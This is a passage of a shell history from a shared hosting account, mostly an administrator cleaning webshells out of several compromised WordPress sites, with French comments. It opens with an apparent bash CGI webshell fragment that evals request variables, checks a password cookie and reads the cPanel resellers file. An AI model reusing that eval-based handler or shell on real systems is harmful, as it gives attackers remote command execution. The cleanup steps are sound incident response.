-z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1784806789 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h; t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" ; if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done; echo "${v}"; return; } #1784806789 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string; k="${p%%=*}" # get the key (variable name) from it; v="${p#*=}" # get the value from it; q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1784806789 # register all GET and POST variables #1784806789 cgi_getvars BOTH ALL #1784806789 pass="SAVEDPWD=$password" #1784806789 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1784806789 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo ''; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo ''; else echo -e "Content-type: text/html\n\n"; fi; fi #1784806789 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d #1784806789 cat /var/cpanel/resellers #1785130362 find //home/sc7vocl2099/organisme-de-credit.org/ -type d -exec chmod 755 {} \; #1785130364 find //home/sc7vocl2099/organisme-de-credit.org/ -type f -exec chmod 644 {} \; #1785130375 chmod 600 //home/sc7vocl2099/organisme-de-credit.org/wp-config.php #1785222891 cd /home/sc7vocl2099/meuble-bois-massif.com #1785222901 wp core verify-checksums --allow-root #1785222962 wp core download --skip-content --force --allow-root #1785222996 # Définir le français comme langue du site #1785222996 wp language core activate fr_FR --allow-root #1785222998 # Si le pack de langue n'est pas encore installé, téléchargez-le directement : #1785223004 wp language core install fr_FR --activate --allow-root #1785223015 wp option get WPLANG --allow-root #1785223049 # Supprimer les fausses arborescences créées dans wp-includes et wp-admin #1785223049 rm -rf wp-includes/sitemaps/ wp-includes/Text/ wp-includes/html-api/ wp-includes/wk/ wp-includes/*/wk #1785223049 rm -rf wp-admin/wk/ wp-admin/*/wk #1785223049 # Supprimer le script malveillant principal déposé à la racine #1785223053 rm -f wp-filemannger.php #1785223059 wp core verify-checksums --allow-root #1785223120 rm -rf wp-admin wp-includes #1785223127 rm -f index.php #1785223135 wp core download --skip-content --force --allow-root #1785223226 # 1. Suppression des répertoires du cœur corrompus et du fichier index.php altéré #1785223226 rm -rf wp-admin wp-includes index.php #1785223226 # 2. Téléchargement direct de l'archive officielle française de WordPress #1785223226 wget https://fr.wordpress.org/latest-fr_FR.tar.gz #1785223228 # 3. Extraction et installation des nouveaux fichiers #1785223228 tar -xzf latest-fr_FR.tar.gz #1785223229 cp -rf wordpress/* . #1785223230 # 4. Nettoyage de l'archive et du dossier temporaire #1785223230 rm -rf wordpress latest-fr_FR.tar.gz #1785223230 # 5. Réattribution des permissions correctes #1785223248 chmod -R 755 . #1785223253 wp core verify-checksums --allow-root #1785223276 # Supprimer les scripts PHP malveillants injectés dans les Uploads #1785223278 find wp-content/uploads/ -type f -name "*.php" -delete #1785223360 rm -rf wp-admin wp-includes index.php wp-filemannger.php #1785223371 wget https://fr.wordpress.org/latest-fr_FR.tar.gz #1785223373 tar -xzf latest-fr_FR.tar.gz #1785223378 cp -rf wordpress/* #1785223386 rm -rf wordpress latest-fr_FR.tar.gz #1785223391 wp core verify-checksums --allow-root #1785223420 pwd && ls -la wp-config.php #1785223443 cd /home/sc7vocl2099/meuble-bois-massif.com #1785223449 wget https://fr.wordpress.org/latest-fr_FR.tar.gz #1785223461 tar -xzf latest-fr_FR.tar.gz --strip-components=1 #1785223475 rm -f latest-fr_FR.tar.gz #1785223481 chmod -R 755 #1785223488 chmod -R 755 . #1785223494 wp core verify-checksums --allow-root #1785223734 cd /home/sc7vocl2099/meuble-bois-massif.com #1785223734 # Suppression du dossier pirate #1785223734 rm -rf wk #1785223734 # Suppression des portes dérobées PHP à la racine #1785223734 rm -f 123.php admin.php sd.php #1785223734 # Suppression des anciennes sauvegardes htaccess suspectes #1785223737 rm -f .htaccess.bk .htaccess.wpmanager.bkp #1785223796 cd /home/sc7vocl2099/meuble-bois-massif.com #1785223796 # 1. Supprimer TOUT fichier PHP injecté dans le dossier des médias (uploads) #1785223796 find wp-content/uploads/ -type f -name "*.php" -delete #1785223796 # 2. Supprimer les éventuels fichiers .htaccess cachés dans uploads #1785223796 find wp-content/uploads/ -type f -name ".htaccess" -delete #1785223796 # 3. Vérifier les extensions altérées #1785223798 wp plugin verify-checksums --all --allow-root #1785223821 find wp-content/uploads/ -type f -name "*.php" -delete #1785223826 find wp-content/uploads/ -type f -name ".htaccess" -delete #1785223832 wp plugin verify-checksums --all --allow-root #1785223894 grep -Rn --include="*.php" "eval(" wp-content/plugins/modeltheme-framework/ wp-content/plugins/wp-seopress-pro/ #1785223934 find wp-content/themes/ -type f -name "*.php" | grep -v -E "(functions|index|header|footer|single|page|archive|sidebar|search|404|template|inc|core|vendor|woocommerce)" #1785223974 wp plugin update --all --allow-root #1785224288 cd /home/sc7vocl2099/meuble-bois-massif.com #1785224290 find . -name ".htaccess" -ls #1785224331 find . -type d -name "wk" -exec rm -rf {} + #1785224340 rm -rf wp-content/themes/skyhaus/inc/gutenberg/Declaration/ #1785224346 rm -rf cgi-bin/wk #1785224353 find . -name ".htaccess" -ls #1785240913 cd /home/sc7vocl2099/onlineauctionvictoria.com #1785240919 wp core verify-checksums --allow-root #1785240966 rm -rf wp-admin wp-includes index.php wp-filemannger.php #1785241038 find wp-includes -exec chmod 777 {} + 2>/dev/null #1785241043 rm -rf wp-includes #1785241052 wget https://fr.wordpress.org/latest-fr_FR.tar.gz #1785241054 tar -xzf latest-fr_FR.tar.gz --strip-components=1 #1785241055 rm -f latest-fr_FR.tar.gz #1785241058 chmod -R 755 . #1785241065 wp core verify-checksums --allow-root #1785241108 cd /home/sc7vocl2099/onlineauctionvictoria.com #1785241108 # 1. Supprimer tous les répertoires "wk" parasites #1785241108 find . -type d -name "wk" -exec rm -rf {} + #1785241108 # 2. Supprimer les éventuels scripts PHP de la racine (backdoors) #1785241108 rm -f 123.php admin.php sd.php wp-filemannger.php #1785241108 # 3. Supprimer tout fichier PHP injecté dans le dossier des médias #1785241109 find wp-content/uploads/ -type f -name "*.php" -delete #1785241130 cat << 'EOF' > wp-content/uploads/.htaccess deny from all EOF #1785241140 wp plugin verify-checksums --all --allow-root #1785241188 rm -f wp-content/plugins/litespeed-cache/error_log #1785241198 find wp-content/themes/ -type f -name "*.php" | grep -v -E "(functions|index|header|footer|single|page|archive|sidebar|search|404|template|inc|core|vendor|woocommerce)" #1785241360 php -l wp-config.php #1785241368 wp db check --allow-root #1785242865 for site in /home/sc7vocl2099/*/; do [ -f "$site/wp-config.php" ] || continue; find "$site" -type d -exec chmod 755 {} \;; find "$site" -type f -exec chmod 644 {} \;; chmod 600 "${site}wp-config.php"; echo "php_flag engine off" > "${site}wp-content/uploads/.htaccess"; echo "✅ $(basename $site)"; done #1785243669 cd online* #1785243682 wp core download --force --locale=fr_FR --allow-root #1785243705 wp core update-db --allow-root #1785243712 wp plugin update --all --allow-root #1785243740 wp theme update --all --allow-root #1785245919 cd /home/sc7vocl2099/teresamettela.com #1785245931 wp core verify-checksums --allow-root #1785245973 rm -rf wp-admin wp-includes index.php wp-filemannger.php #1785245982 wget https://fr.wordpress.org/latest-fr_FR.tar.gz #1785245984 tar -xzf latest-fr_FR.tar.gz --strip-components=1 #1785246007 rm -f latest-fr_FR.tar.gz #1785246010 wp core verify-checksums --allow-root #1785246072 # 1. Supprimer les répertoires "wk" et webshells résiduels #1785246072 find . -type d -name "wk" -exec rm -rf {} + #1785246072 rm -f 123.php admin.php sd.php wp-filemannger.php #1785246072 # 2. Supprimer les fichiers PHP injectés dans les médias #1785246072 find wp-content/uploads/ -type f -name "*.php" -delete #1785246072 # 3. Sécuriser le dossier uploads #1785246072 cat << 'EOF' > wp-content/uploads/.htaccess deny from all EOF #1785246072 # 4. Appliquer les bonnes permissions globales (Dossiers 755 / Fichiers 644 / Config 600) #1785246072 find . -type d -exec chmod 755 {} + #1785246072 find . -type f -exec chmod 644 {} + #1785246075 chmod 600 wp-config.php #1785246137 wp core download --force --locale=fr_FR --allow-root #1785246253 wp plugin verify-checksums --all --allow-root #1785246510 wp config shuffle-salts --allow-root #1785247142 for SITE in */; do [ -f "$SITE/wp-config.php" ] || continue; cd /home/sc7vocl2099/$SITE; PFX=$(wp config get table_prefix 2>/dev/null); echo "=== $(basename $SITE) ==="; wp db query "SELECT ID, user_login, user_email, user_registered FROM ${PFX}users ORDER BY ID;" 2>/dev/null; #1785247188 for SITE in */; do [ -f "$SITE/wp-config.php" ] || con